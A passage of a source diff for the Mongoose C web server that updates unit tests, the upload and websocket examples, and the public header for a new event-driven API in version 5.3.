+    ASSERT(strcmp(data[i].before, data[i].after) == 0);
+  }
+
+  return NULL;
+}
+
+static const char *test_get_var(void) {
+  static const char *post[] = {
+    "a=1&&b=2&d&=&c=3%20&e=",
+    "q=&st=2012%2F11%2F13+17%3A05&et=&team_id=",
+    NULL
+  };
+  char buf[20];
+
+  ASSERT(get_var(post[0], strlen(post[0]), "a", buf, sizeof(buf)) == 1);
+  ASSERT(buf[0] == '1' && buf[1] == '\0');
+  ASSERT(get_var(post[0], strlen(post[0]), "b", buf, sizeof(buf)) == 1);
+  ASSERT(buf[0] == '2' && buf[1] == '\0');
+  ASSERT(get_var(post[0], strlen(post[0]), "c", buf, sizeof(buf)) == 2);
+  ASSERT(buf[0] == '3' && buf[1] == ' ' && buf[2] == '\0');
+  ASSERT(get_var(post[0], strlen(post[0]), "e", buf, sizeof(buf)) == 0);
+  ASSERT(buf[0] == '\0');
+
+  ASSERT(get_var(post[0], strlen(post[0]), "d", buf, sizeof(buf)) == -1);
+  ASSERT(get_var(post[0], strlen(post[0]), "c", buf, 2) == -2);
+
+  ASSERT(get_var(post[0], strlen(post[0]), "x", NULL, 10) == -2);
+  ASSERT(get_var(post[0], strlen(post[0]), "x", buf, 0) == -2);
+  ASSERT(get_var(post[1], strlen(post[1]), "st", buf, 16) == -2);
+  ASSERT(get_var(post[1], strlen(post[1]), "st", buf, 17) == 16);
+  return NULL;
+}
+
+static const char *test_url_decode(void) {
+  char buf[100];
+
+  ASSERT(mg_url_decode("foo", 3, buf, 3, 0) == -1);  // No space for \0
+  ASSERT(mg_url_decode("foo", 3, buf, 4, 0) == 3);
+  ASSERT(strcmp(buf, "foo") == 0);
+
+  ASSERT(mg_url_decode("a+", 2, buf, sizeof(buf), 0) == 2);
+  ASSERT(strcmp(buf, "a+") == 0);
+
+  ASSERT(mg_url_decode("a+", 2, buf, sizeof(buf), 1) == 2);
+  ASSERT(strcmp(buf, "a ") == 0);
+
+  ASSERT(mg_url_decode("%61", 1, buf, sizeof(buf), 1) == 1);
+  ASSERT(strcmp(buf, "%") == 0);
+
+  ASSERT(mg_url_decode("%61", 2, buf, sizeof(buf), 1) == 2);
+  ASSERT(strcmp(buf, "%6") == 0);
+
+  ASSERT(mg_url_decode("%61", 3, buf, sizeof(buf), 1) == 1);
+  ASSERT(strcmp(buf, "a") == 0);
+  return NULL;
+}
+
+static const char *test_to64(void) {
+  ASSERT(to64("0") == 0);
+  ASSERT(to64("") == 0);
+  ASSERT(to64("123") == 123);
+  ASSERT(to64("-34") == -34);
+  ASSERT(to64("3566626116") == 3566626116);
+  return NULL;
+}
+
+static const char *test_base64_encode(void) {
+  const char *in[] = {"a", "ab", "abc", "abcd", NULL};
+  const char *out[] = {"YQ==", "YWI=", "YWJj", "YWJjZA=="};
+  char buf[100];
+  int i;
+
+  for (i = 0; in[i] != NULL; i++) {
+    base64_encode((unsigned char *) in[i], strlen(in[i]), buf);
+    ASSERT(!strcmp(buf, out[i]));
+  }
+
+  return NULL;
+}
+
+static const char *test_mg_parse_header(void) {
+  const char *str = "xx=1 kl yy, ert=234 kl=123, "
+    "ii=\"12\\\"34\" zz='aa bb',tt=2,gf=\"xx d=1234";
+  char buf[10];
+  ASSERT(mg_parse_header(str, "yy", buf, sizeof(buf)) == 0);
+  ASSERT(mg_parse_header(str, "ert", buf, sizeof(buf)) == 3);
+  ASSERT(strcmp(buf, "234") == 0);
+  ASSERT(mg_parse_header(str, "ert", buf, 2) == 0);
+  ASSERT(mg_parse_header(str, "ert", buf, 3) == 0);
+  ASSERT(mg_parse_header(str, "ert", buf, 4) == 3);
+  ASSERT(mg_parse_header(str, "gf", buf, sizeof(buf)) == 0);
+  ASSERT(mg_parse_header(str, "zz", buf, sizeof(buf)) == 5);
+  ASSERT(strcmp(buf, "aa bb") == 0);
+  ASSERT(mg_parse_header(str, "d", buf, sizeof(buf)) == 4);
+  ASSERT(strcmp(buf, "1234") == 0);
+  buf[0] = 'x';
+  ASSERT(mg_parse_header(str, "MMM", buf, sizeof(buf)) == 0);
+  ASSERT(buf[0] == '\0');
+  ASSERT(mg_parse_header(str, "kl", buf, sizeof(buf)) == 3);
+  ASSERT(strcmp(buf, "123") == 0);
+  ASSERT(mg_parse_header(str, "xx", buf, sizeof(buf)) == 1);
+  ASSERT(strcmp(buf, "1") == 0);
+  ASSERT(mg_parse_header(str, "ii", buf, sizeof(buf)) == 5);
+  ASSERT(strcmp(buf, "12\"34") == 0);
+  ASSERT(mg_parse_header(str, "tt", buf, sizeof(buf)) == 1);
+  ASSERT(strcmp(buf, "2") == 0);
+  return NULL;
+}
+
+static const char *test_next_option(void) {
+  const char *p, *list = "x/8,/y**=1;2k,z";
+  struct vec a, b;
+  int i;
+
+  ASSERT(next_option(NULL, &a, &b) == NULL);
+  for (i = 0, p = list; (p = next_option(p, &a, &b)) != NULL; i++) {
+    ASSERT(i != 0 || (a.ptr == list && a.len == 3 && b.len == 0));
+    ASSERT(i != 1 || (a.ptr == list + 4 && a.len == 4 && b.ptr == list + 9 &&
+                      b.len == 4));
+
+    ASSERT(i != 2 || (a.ptr == list + 14 && a.len == 1 && b.len == 0));
+  }
+  return NULL;
+}
+
+static int evh1(struct mg_connection *conn, enum mg_event ev) {
+  char *buf = (char *) conn->connection_param;
+  int result = MG_FALSE;
+
+  switch (ev) {
+    case MG_CONNECT:
+      mg_printf(conn,  "GET %s HTTP/1.0\r\n\r\n",
+                buf[0] == '1' ? "/cb1" : "/non_exist");
+      result = MG_TRUE;
+      break;
+    case MG_HTTP_ERROR:
+      mg_printf(conn, "HTTP/1.0 404 NF\r\n\r\nERR: %d", conn->status_code);
+      result = MG_TRUE;
+      break;
+    case MG_REQUEST:
+      if (!strcmp(conn->uri, "/cb1")) {
+        mg_printf(conn, "HTTP/1.0 200 OK\r\n\r\n%s %s %s",
+                  (char *) conn->server_param,
+                  buf == NULL ? "?" : "!", conn->remote_ip);
+        result = MG_TRUE;
+      }
+      break;
+    case MG_REPLY:
+      if (buf != NULL) {
+        sprintf(buf + 1, "%.*s", (int) conn->content_len, conn->content);
+      }
+      break;
+    case MG_AUTH:
+      result = MG_TRUE;
+      break;
+    default:
+      break;
+  }
+
+  return result;
+}
+
+static const char *test_server(void) {
+  char buf1[100] = "1", buf2[100] = "2";
+  struct mg_server *server = mg_create_server((void *) "foo", evh1);
+  struct mg_connection *conn;
+
+  ASSERT(server != NULL);
+  ASSERT(mg_set_option(server, "listening_port", LISTENING_ADDR) == NULL);
+  ASSERT(mg_set_option(server, "document_root", ".") == NULL);
+
+  ASSERT((conn = mg_connect(server, "127.0.0.1", atoi(HTTP_PORT), 0)) != NULL);
+  conn->connection_param = buf1;
+  ASSERT((conn = mg_connect(server, "127.0.0.1", atoi(HTTP_PORT), 0)) != NULL);
+  conn->connection_param = buf2;
+
+  { int i; for (i = 0; i < 50; i++) mg_poll_server(server, 1); }
+  ASSERT(strcmp(buf1, "1foo ? 127.0.0.1") == 0);
+  ASSERT(strcmp(buf2, "2ERR: 404") == 0);
+
+  ASSERT(strcmp(static_config_options[URL_REWRITES * 2], "url_rewrites") == 0);
+  mg_destroy_server(&server);
+  ASSERT(server == NULL);
+  return NULL;
+}
+
+#define DISP "Content-Disposition: form/data; "
+#define CRLF "\r\n"
+#define BOUNDARY "--xyz"
+static const char *test_parse_multipart(void) {
+  char a[100], b[100];
+  const char *p;
+  static const char f1[] = BOUNDARY CRLF DISP "name=f1" CRLF CRLF
+    "some_content" CRLF BOUNDARY CRLF
+    BOUNDARY CRLF DISP "name=f2; filename=\"foo bar.txt\"" CRLF CRLF
+    "another_content" CRLF BOUNDARY CRLF
+    "--" CRLF;
+  int n, n2, len, f1_len = sizeof(f1) - 1;
+
+  ASSERT(mg_parse_multipart("", 0, a, sizeof(a), b, sizeof(b), &p, &len) == 0);
+  ASSERT(mg_parse_multipart("a", 1, a, sizeof(a), b, sizeof(b), &p, &len) == 0);
+  ASSERT((n = mg_parse_multipart(f1, f1_len, a, sizeof(a),
+                                 b, sizeof(b), &p, &len)) > 0);
+  ASSERT(len == 12);
+  ASSERT(memcmp(p, "some_content", len) == 0);
+  ASSERT(strcmp(a, "f1") == 0);
+  ASSERT(b[0] == '\0');
+
+  ASSERT((n2 = mg_parse_multipart(f1 + n, f1_len - n, a, sizeof(a),
+                                  b, sizeof(b), &p, &len)) > 0);
+  ASSERT(len == 15);
+  ASSERT(memcmp(p, "another_content", len) == 0);
+  ASSERT(strcmp(a, "f2") == 0);
+  ASSERT(strcmp(b, "foo bar.txt") == 0);
+
+  ASSERT((n2 = mg_parse_multipart(f1 + n + n2, f1_len - (n + n2), a, sizeof(a),
+                                  b, sizeof(b), &p, &len)) == 0);
+
+  return NULL;
+}
+
+static int evh2(struct mg_connection *conn, enum mg_event ev) {
+  char *file_data, *cp = (char *) conn->connection_param;
+  int file_size, result = MG_FALSE;
+
+  switch (ev) {
+    case MG_AUTH:
+      result = MG_TRUE;
+      break;
+    case MG_CONNECT:
+      mg_printf(conn, "GET /%s HTTP/1.0\r\n\r\n", cp);
+      result = MG_TRUE;
+      break;
+    case MG_REQUEST:
+      break;
+    case MG_REPLY:
+      file_data = read_file("unit_test.c", &file_size);
+      sprintf(cp, "%d %s", (size_t) file_size == conn->content_len &&
+              memcmp(file_data, conn->content, file_size) == 0 ? 1 : 0,
+              conn->query_string == NULL ? "?" : conn->query_string);
+      free(file_data);
+      break;
+    default:
+      break;
+  }
+
+  return result;
+}
+
+static const char *test_mg_set_option(void) {
+  struct mg_server *server = mg_create_server(NULL, NULL);
+  ASSERT(mg_set_option(server, "listening_port", "0") == NULL);
+  ASSERT(mg_get_option(server, "listening_port")[0] != '\0');
+  mg_destroy_server(&server);
+  return NULL;
+}
+
+static const char *test_rewrites(void) {
+  char buf1[100] = "xx";
+  struct mg_server *server = mg_create_server(NULL, evh2);
+  struct mg_connection *conn;
+  const char *port;
+
+  ASSERT(mg_set_option(server, "listening_port", "0") == NULL);
+  ASSERT(mg_set_option(server, "document_root", ".") == NULL);
+  ASSERT(mg_set_option(server, "url_rewrites", "/xx=unit_test.c") == NULL);
+  ASSERT((port = mg_get_option(server, "listening_port")) != NULL);
+  ASSERT((conn = mg_connect(server, "127.0.0.1", atoi(port), 0)) != NULL);
+  conn->connection_param = buf1;
+
+  { int i; for (i = 0; i < 50; i++) mg_poll_server(server, 1); }
+
+  ASSERT(strcmp(buf1, "1 ?") == 0);
+  mg_destroy_server(&server);
+  return NULL;
+}
+
+static const char *run_all_tests(void) {
+  RUN_TEST(test_should_keep_alive);
+  RUN_TEST(test_match_prefix);
+  RUN_TEST(test_remove_double_dots);
+  RUN_TEST(test_parse_http_message);
+  RUN_TEST(test_to64);
+  RUN_TEST(test_url_decode);
+  RUN_TEST(test_base64_encode);
+  RUN_TEST(test_mg_parse_header);
+  RUN_TEST(test_get_var);
+  RUN_TEST(test_next_option);
+  RUN_TEST(test_parse_multipart);
+  RUN_TEST(test_mg_set_option);
+  RUN_TEST(test_server);
+  RUN_TEST(test_rewrites);
+  return NULL;
+}
+
+int __cdecl main(void) {
+  const char *fail_msg = run_all_tests();
+  printf("%s, tests run: %d\n", fail_msg ? "FAIL" : "PASS", static_num_tests);
+  return fail_msg == NULL ? EXIT_SUCCESS : EXIT_FAILURE;
+}

examples/upload.c

@@ -3,59 +3,60 @@
 
 #include <stdio.h>
 #include <string.h>
-#include <fcntl.h>
-#include <stdlib.h>
-#ifdef _WIN32
-#include <windows.h>
-#include <io.h>
-#define strtoll strtol
-typedef __int64 int64_t;
-#else
-#include <inttypes.h>
-#include <unistd.h>
-#endif // !_WIN32
-
 #include "mongoose.h"
 
-static int begin_request_handler(struct mg_connection *conn) {
+static void send_index_page(struct mg_connection *conn) {
-  if (!strcmp(mg_get_request_info(conn)->uri, "/handle_post_request")) {
+  const char *data;
-    mg_printf(conn, "%s", "HTTP/1.0 200 OK\r\n\r\n");
+  int data_len;
-    mg_upload(conn, "/tmp");
+  char var_name[100], file_name[100];
-  } else {
-    // Show HTML form. Make sure it has enctype="multipart/form-data" attr.
-    static const char *html_form =
-      "<html><body>Upload example."
-      "<form method=\"POST\" action=\"/handle_post_request\" "
-      "  enctype=\"multipart/form-data\">"
-      "<input type=\"file\" name=\"file\" /> <br/>"
-      "<input type=\"submit\" value=\"Upload\" />"
-      "</form></body></html>";
 
-    mg_printf(conn, "HTTP/1.0 200 OK\r\n"
+  mg_printf_data(conn, "%s",
-              "Content-Length: %d\r\n"
+                 "<html><body>Upload example."
-              "Content-Type: text/html\r\n\r\n%s",
+                 "<form method=\"POST\" action=\"/handle_post_request\" "
-              (int) strlen(html_form), html_form);
+                 "  enctype=\"multipart/form-data\">"
+                 "<input type=\"file\" name=\"file\" /> <br/>"
+                 "<input type=\"submit\" value=\"Upload\" />"
+                 "</form>");
+
+  if (mg_parse_multipart(conn->content, conn->content_len,
+                         var_name, sizeof(var_name),
+                         file_name, sizeof(file_name),
+                         &data, &data_len) > 0) {
+
+    mg_printf_data(conn, "%s", "Uploaded file:<pre>");
+    mg_send_data(conn, data, data_len);
+    mg_printf_data(conn, "%s", "/pre>");
   }
 
-  // Mark request as processed
+  mg_printf_data(conn, "%s", "</body></html>");
-  return 1;
 }
 
-static void upload_handler(struct mg_connection *conn, const char *path) {
+static int ev_handler(struct mg_connection *conn, enum mg_event ev) {
-  mg_printf(conn, "Saved [%s]", path);
+  if (ev == MG_REQUEST) {
+    send_index_page(conn);
+    return MG_TRUE;
+  } else if (ev == MG_AUTH) {
+    return MG_TRUE;
+  } else {
+    return MG_FALSE;
+  }
 }
 
 int main(void) {
-  struct mg_context *ctx;
+  struct mg_server *server;
-  const char *options[] = {"listening_ports", "8080", NULL};
-  struct mg_callbacks callbacks;
 
-  memset(&callbacks, 0, sizeof(callbacks));
+  // Create and configure the server
-  callbacks.begin_request = begin_request_handler;
+  server = mg_create_server(NULL, ev_handler);
-  callbacks.upload = upload_handler;
+  mg_set_option(server, "listening_port", "8080");
-  ctx = mg_start(&callbacks, NULL, options);
+
-  getchar();  // Wait until user hits "enter"
+  // Serve request. Hit Ctrl-C to terminate the program
-  mg_stop(ctx);
+  printf("Starting on port %s\n", mg_get_option(server, "listening_port"));
+  for (;;) {
+    mg_poll_server(server, 1000);
+  }
+
+  // Cleanup, and free server instance
+  mg_destroy_server(&server);
 
   return 0;
 }

examples/websocket.c

@@ -1,44 +1,67 @@
-// Copyright (c) 2004-2012 Sergey Lyubka
-// This file is a part of mongoose project, http://github.com/valenok/mongoose
-
-#include <stdio.h>
 #include <string.h>
+#include <time.h>
 #include "mongoose.h"
 
-static void websocket_ready_handler(struct mg_connection *conn) {
+#ifdef _WIN32
-  static const char *message = "server ready";
+#define snprintf _snprintf
-  mg_websocket_write(conn, WEBSOCKET_OPCODE_TEXT, message, strlen(message));
+#endif
+
+extern const char *find_embedded_file(const char *, size_t *);
+
+static int iterate_callback(struct mg_connection *c, enum mg_event ev) {
+  static int counter = 0;
+  if (ev == MG_POLL && c->is_websocket) {
+    char buf[20];
+    int len = snprintf(buf, sizeof(buf), "%d", counter++);
+    mg_websocket_write(c, 1, buf, len);
+  }
+  return MG_TRUE;
 }
 
-// Arguments:
+static int send_reply(struct mg_connection *conn) {
-//   flags: first byte of websocket frame, see websocket RFC,
+  size_t index_size;
-//          http://tools.ietf.org/html/rfc6455, section 5.2
+  const char *index_html = find_embedded_file("websocket.html", &index_size);
-//   data, data_len: payload data. Mask, if any, is already applied.
-static int websocket_data_handler(struct mg_connection *conn, int flags,
-                                  char *data, size_t data_len) {
-  (void) flags; // Unused
-  mg_websocket_write(conn, WEBSOCKET_OPCODE_TEXT, data, data_len);
 
-  // Returning zero means stoping websocket conversation.
+  if (conn->is_websocket) {
-  // Close the conversation if client has sent us "exit" string.
+    // This handler is called for each incoming websocket frame, one or more
-  return memcmp(data, "exit", 4);
+    // times for connection lifetime.
+    // Echo websocket data back to the client.
+    mg_websocket_write(conn, 1, conn->content, conn->content_len);
+    return conn->content_len == 4 && !memcmp(conn->content, "exit", 4) ?
+      MG_FALSE : MG_TRUE;
+  } else {
+    mg_send_header(conn, "Content-Type", "text/html");
+    mg_send_data(conn, index_html, index_size);
+    return MG_TRUE;
+  }
+}
+
+static int ev_handler(struct mg_connection *conn, enum mg_event ev) {
+  if (ev == MG_REQUEST) {
+    return send_reply(conn);
+  } else if (ev == MG_AUTH) {
+    return MG_TRUE;
+  } else {
+    return MG_FALSE;
+  }
 }
 
 int main(void) {
-  struct mg_context *ctx;
+  struct mg_server *server = mg_create_server(NULL, ev_handler);
-  struct mg_callbacks callbacks;
+  time_t current_timer = 0, last_timer = time(NULL);
-  const char *options[] = {
-    "listening_ports", "8080",
-    "document_root", "websocket_html_root",
-    NULL
-  };
 
-  memset(&callbacks, 0, sizeof(callbacks));
+  mg_set_option(server, "listening_port", "8080");
-  callbacks.websocket_ready = websocket_ready_handler;
-  callbacks.websocket_data = websocket_data_handler;
-  ctx = mg_start(&callbacks, NULL, options);
-  getchar();  // Wait until user hits "enter"
-  mg_stop(ctx);
 
+  printf("Started on port %s\n", mg_get_option(server, "listening_port"));
+  for (;;) {
+    mg_poll_server(server, 100);
+    current_timer = time(NULL);
+    if (current_timer - last_timer > 0) {
+      last_timer = current_timer;
+      mg_iterate_over_connections(server, iterate_callback);
+    }
+  }
+
+  mg_destroy_server(&server);
   return 0;
 }

examples/websocket.html

@@ -0,0 +1,46 @@
+<!DOCTYPE html>
+<meta charset="utf-8" />
+<title>WebSocket Test</title>
+<script language="javascript" type="text/javascript">
+
+  var out = function(message) {
+    var div = document.createElement('div');
+    div.innerHTML = message;
+    document.getElementById('output').appendChild(div);
+  };
+
+  window.onload = function() {
+    var url = 'ws://' + location.host + '/ws';
+    var num_messages = 0;
+
+    websocket = new WebSocket(url);
+    websocket.onopen = function(ev) {
+      out('CONNECTED');
+      var msg = 'Не всё подчиняется разуму. Но всё подчиняется упорству. ';
+      out('SENT: ' + msg);
+      websocket.send(msg);
+    };
+    websocket.onclose = function(ev) {
+      out('DISCONNECTED');
+    };
+    websocket.onmessage = function(ev) {
+      if (!ev.data) {
+        out('<span style="color: blue;">PING... </span>');
+      } else {
+        out('<span style="color: blue;">RESPONSE: ' + ev.data + ' </span>');
+        num_messages++;
+      }
+      if (num_messages > 3) {
+        websocket.send('exit');
+      }
+    };
+    websocket.onerror = function(ev) {
+      out('<span style="color: red; ">ERROR: </span> ' + ev.data);
+    };
+  };
+</script>
+<style> div {font: small Verdana; } </style>
+<h2>Mongoose WebSocket Test</h2>
+
+<div id="output"></div>
+</html>

examples/websocket_html_root/index.html

@@ -1,44 +0,0 @@
-<!DOCTYPE html>
-<meta charset="utf-8" />
-<title>WebSocket Test</title>
-<script language="javascript" type="text/javascript">
-
-  var writeToScreen = function(message) {
-    var div = document.createElement('div');
-    div.innerHTML = message;
-    document.getElementById('output').appendChild(div);
-  };
-  window.onload = function() {
-    var url = 'ws://' + window.location.host + '/foo';
-    websocket = new WebSocket(url);
-    websocket.onopen = function(ev) {
-      writeToScreen('CONNECTED');
-      var message = 'Не всё подчиняется разуму. Но всё подчиняется упорству. ';
-      writeToScreen('SENT: ' + message);
-      websocket.send(message);
-    };
-    websocket.onclose = function(ev) {
-      writeToScreen('DISCONNECTED');
-    };
-    websocket.onmessage = function(ev) {
-      writeToScreen('<span style="color: blue;">RESPONSE: ' + ev.data +
-                    ' </span>');
-      websocket.send('exit');
-    };
-    websocket.onerror = function(ev) {
-      writeToScreen('<span style="color: red; ">ERROR: </span> ' + ev.data);
-    };
-  };
-</script>
-<style> div {font: small Verdana; } </style>
-<h2>Mongoose WebSocket Test</h2>
-
-  <div style="width: 400px; color: #aaa; padding: 1em; ">
-  This page code creates websocket to the URI "/foo",
-  sends a message to it, waits for the reply, then sends an "exit" message.
-  Server must echo all messages back, and terminate the conversation after
-  receiving the "exit" message.
-  </div>
-
-<div id="output"></div>
-</html>

mongoose.h

@@ -1,5 +1,5 @@
 // Copyright (c) 2004-2013 Sergey Lyubka <valenok@gmail.com>
-// Copyright (c) 2013 Cesanta Software Limited
+// Copyright (c) 2013-2014 Cesanta Software Limited
 // All rights reserved
 //
 // This library is dual-licensed: you can redistribute it and/or modify
@@ -13,382 +13,114 @@
 // See the GNU General Public License for more details.
 //
 // Alternatively, you can license this library under a commercial
-// license, as set out in <http://cesanta.com/products.html>.
+// license, as set out in <http://cesanta.com/>.
+//
+// NOTE: Detailed API documentation is at http://cesanta.com/#docs
 
 #ifndef MONGOOSE_HEADER_INCLUDED
 #define  MONGOOSE_HEADER_INCLUDED
 
-#include <stdio.h>
+#define MONGOOSE_VERSION "5.3"
-#include <stddef.h>
+
+#include <stdio.h>      // required for FILE
+#include <stddef.h>     // required for size_t
 
 #ifdef __cplusplus
 extern "C" {
 #endif // __cplusplus
 
-struct mg_context;     // Handle for the HTTP service itself
+// This structure contains information about HTTP request.
-struct mg_connection;  // Handle for the individual connection
+struct mg_connection {
-
-
-// This structure contains information about the HTTP request.
-struct mg_request_info {
   const char *request_method; // "GET", "POST", etc
   const char *uri;            // URL-decoded URI
   const char *http_version;   // E.g. "1.0", "1.1"
   const char *query_string;   // URL part after '?', not including '?', or NULL
-  const char *remote_user;    // Authenticated user, or NULL if no auth used
+
-  long remote_ip;             // Client's IP address
+  char remote_ip[48];         // Max IPv6 string length is 45 characters
-  int remote_port;            // Client's port
+  const char *local_ip;       // Local IP address
-  int is_ssl;                 // 1 if SSL-ed, 0 if not
+  unsigned short remote_port; // Client's port
-  void *user_data;            // User data pointer passed to mg_start()
+  unsigned short local_port;  // Local port number
-  void *conn_data;            // Connection-specific, per-thread user data.
 
   int num_headers;            // Number of HTTP headers
   struct mg_header {
     const char *name;         // HTTP header name
     const char *value;        // HTTP header value
-  } http_headers[64];         // Maximum 64 headers
+  } http_headers[30];
+
+  char *content;              // POST (or websocket message) data, or NULL
+  size_t content_len;       // content length
+
+  int is_websocket;           // Connection is a websocket connection
+  int status_code;            // HTTP status code for HTTP error handler
+  int wsbits;                 // First byte of the websocket frame
+  void *server_param;         // Parameter passed to mg_add_uri_handler()
+  void *connection_param;     // Placeholder for connection-specific data
 };
 
-
+struct mg_server; // Opaque structure describing server instance
-// This structure needs to be passed to mg_start(), to let mongoose know
+enum mg_result { MG_FALSE, MG_TRUE, MG_MORE };
-// which callbacks to invoke. For detailed description, see
+enum mg_event {
-// https://github.com/valenok/mongoose/blob/master/UserManual.md
+  MG_POLL = 100,  // Callback return value is ignored
-struct mg_callbacks {
+  MG_CONNECT,     // If callback returns MG_FALSE, connect fails
-  // Called when mongoose has received new HTTP request.
+  MG_AUTH,        // If callback returns MG_FALSE, authentication fails
-  // If callback returns non-zero,
+  MG_REQUEST,     // If callback returns MG_FALSE, Mongoose continues with req
-  // callback must process the request by sending valid HTTP headers and body,
+  MG_REPLY,       // If callback returns MG_FALSE, Mongoose closes connection
-  // and mongoose will not do any further processing.
+  MG_CLOSE,       // Connection is closed
-  // If callback returns 0, mongoose processes the request itself. In this case,
+  MG_LUA,         // Called before LSP page invoked
-  // callback must not send any data to the client.
+  MG_HTTP_ERROR   // If callback returns MG_FALSE, Mongoose continues with err
-  int  (*begin_request)(struct mg_connection *);
-
-  // Called when mongoose has finished processing request.
-  void (*end_request)(const struct mg_connection *, int reply_status_code);
-
-  // Called when mongoose is about to log a message. If callback returns
-  // non-zero, mongoose does not log anything.
-  int  (*log_message)(const struct mg_connection *, const char *message);
-
-  // Called when mongoose initializes SSL library.
-  int  (*init_ssl)(void *ssl_context, void *user_data);
-
-  // Called when websocket request is received, before websocket handshake.
-  // If callback returns 0, mongoose proceeds with handshake, otherwise
-  // cinnection is closed immediately.
-  int (*websocket_connect)(const struct mg_connection *);
-
-  // Called when websocket handshake is successfully completed, and
-  // connection is ready for data exchange.
-  void (*websocket_ready)(struct mg_connection *);
-
-  // Called when data frame has been received from the client.
-  // Parameters:
-  //    bits: first byte of the websocket frame, see websocket RFC at
-  //          http://tools.ietf.org/html/rfc6455, section 5.2
-  //    data, data_len: payload, with mask (if any) already applied.
-  // Return value:
-  //    non-0: keep this websocket connection opened.
-  //    0:     close this websocket connection.
-  int  (*websocket_data)(struct mg_connection *, int bits,
-                         char *data, size_t data_len);
-
-  // Called when mongoose tries to open a file. Used to intercept file open
-  // calls, and serve file data from memory instead.
-  // Parameters:
-  //    path:     Full path to the file to open.
-  //    data_len: Placeholder for the file size, if file is served from memory.
-  // Return value:
-  //    NULL: do not serve file from memory, proceed with normal file open.
-  //    non-NULL: pointer to the file contents in memory. data_len must be
-  //              initilized with the size of the memory block.
-  const char * (*open_file)(const struct mg_connection *,
-                             const char *path, size_t *data_len);
-
-  // Called when mongoose is about to serve Lua server page (.lp file), if
-  // Lua support is enabled.
-  // Parameters:
-  //   lua_context: "lua_State *" pointer.
-  void (*init_lua)(struct mg_connection *, void *lua_context);
-
-  // Called when mongoose has uploaded a file to a temporary directory as a
-  // result of mg_upload() call.
-  // Parameters:
-  //    file_file: full path name to the uploaded file.
-  void (*upload)(struct mg_connection *, const char *file_name);
-
-  // Called at the beginning of mongoose's thread execution in the context of
-  // that thread. To be used to perform any extra per-thread initialization.
-  // Parameters:
-  //  user_data: pointer passed to mg_start
-  //  conn_data: per-connection, i.e. per-thread pointer. Can be used to
-  //             store per-thread data, for example, database connection
-  //             handles. Persistent between connections handled by the
-  //             same thread.
-  //             NOTE: this parameter is NULL for master thread, and non-NULL
-  //             for worker threads.
-  void (*thread_start)(void *user_data, void **conn_data);
-
-  // Called when mongoose's thread is about to terminate.
-  // Same as thread_start() callback, but called when thread is about to be
-  // destroyed. Used to cleanup the state initialized by thread_start().
-  // Parameters: see thread_start().
-  void (*thread_stop)(void *user_data, void **conn_data);
 };
+typedef int (*mg_handler_t)(struct mg_connection *, enum mg_event);
 
-// Start web server.
+// Server management functions
-//
+struct mg_server *mg_create_server(void *server_param, mg_handler_t handler);
-// Parameters:
+void mg_destroy_server(struct mg_server **);
-//   callbacks: mg_callbacks structure with user-defined callbacks.
+const char *mg_set_option(struct mg_server *, const char *opt, const char *val);
-//   options: NULL terminated list of option_name, option_value pairs that
+int mg_poll_server(struct mg_server *, int milliseconds);
-//            specify Mongoose configuration parameters.
-//
-// Side-effects: on UNIX, ignores SIGPIPE signals. If custom
-//    processing is required SIGPIPE, signal handler must be set up
-//    after calling mg_start().
-//
-// Important: Mongoose does not install SIGCHLD handler. If CGI is used,
-// SIGCHLD handler must be set up to reap CGI zombie processes.
-//
-// Example:
-//   const char *options[] = {
-//     "document_root", "/var/www",
-//     "listening_ports", "80,443s",
-//     NULL
-//   };
-//   struct mg_context *ctx = mg_start(&my_func, NULL, options);
-//
-// Refer to https://github.com/valenok/mongoose/blob/master/UserManual.md
-// for the list of valid option and their possible values.
-//
-// Return:
-//   web server context, or NULL on error.
-struct mg_context *mg_start(const struct mg_callbacks *callbacks,
-                            void *user_data,
-                            const char **configuration_options);
-
-
-// Stop the web server.
-//
-// Must be called last, when an application wants to stop the web server and
-// release all associated resources. This function blocks until all Mongoose
-// threads are stopped. Context pointer becomes invalid.
-void mg_stop(struct mg_context *);
-
-
-// Get the value of particular configuration parameter.
-// The value returned is read-only. Mongoose does not allow changing
-// configuration at run time.
-// If given parameter name is not valid, NULL is returned. For valid
-// names, return value is guaranteed to be non-NULL. If parameter is not
-// set, zero-length string is returned.
-const char *mg_get_option(const struct mg_context *ctx, const char *name);
-
-
-// Return array of strings that represent valid configuration options.
-// For each option, option name and default value is returned, i.e. the
-// number of entries in the array equals to number_of_options x 2.
-// Array is NULL terminated.
 const char **mg_get_valid_option_names(void);
+const char *mg_get_option(const struct mg_server *server, const char *name);
+void mg_set_listening_socket(struct mg_server *, int sock);
+int mg_get_listening_socket(struct mg_server *);
+void mg_iterate_over_connections(struct mg_server *, mg_handler_t);
+void mg_wakeup_server(struct mg_server *);
+struct mg_connection *mg_connect(struct mg_server *, const char *, int, int);
 
+// Connection management functions
+void mg_send_status(struct mg_connection *, int status_code);
+void mg_send_header(struct mg_connection *, const char *name, const char *val);
+void mg_send_data(struct mg_connection *, const void *data, int data_len);
+void mg_printf_data(struct mg_connection *, const char *format, ...);
 
-// Add, edit or delete the entry in the passwords file.
+int mg_websocket_write(struct mg_connection *, int opcode,
-//
-// This function allows an application to manipulate .htpasswd files on the
-// fly by adding, deleting and changing user records. This is one of the
-// several ways of implementing authentication on the server side. For another,
-// cookie-based way please refer to the examples/chat.c in the source tree.
-//
-// If password is not NULL, entry is added (or modified if already exists).
-// If password is NULL, entry is deleted.
-//
-// Return:
-//   1 on success, 0 on error.
-int mg_modify_passwords_file(const char *passwords_file_name,
-                             const char *domain,
-                             const char *user,
-                             const char *password);
-
-
-// Return information associated with the request.
-struct mg_request_info *mg_get_request_info(struct mg_connection *);
-
-
-// Send data to the client.
-// Return:
-//  0   when the connection has been closed
-//  -1  on error
-//  >0  number of bytes written on success
-int mg_write(struct mg_connection *, const void *buf, size_t len);
-
-
-// Send data to a websocket client wrapped in a websocket frame.
-// It is unsafe to read/write to this connection from another thread.
-// This function is available when mongoose is compiled with -DUSE_WEBSOCKET
-//
-// Return:
-//  0   when the connection has been closed
-//  -1  on error
-//  >0  number of bytes written on success
-int mg_websocket_write(struct mg_connection* conn, int opcode,
                        const char *data, size_t data_len);
 
-// Opcodes, from http://tools.ietf.org/html/rfc6455
+// Deprecated in favor of mg_send_* interface
-enum {
+int mg_write(struct mg_connection *, const void *buf, int len);
-  WEBSOCKET_OPCODE_CONTINUATION = 0x0,
+int mg_printf(struct mg_connection *conn, const char *fmt, ...);
-  WEBSOCKET_OPCODE_TEXT = 0x1,
-  WEBSOCKET_OPCODE_BINARY = 0x2,
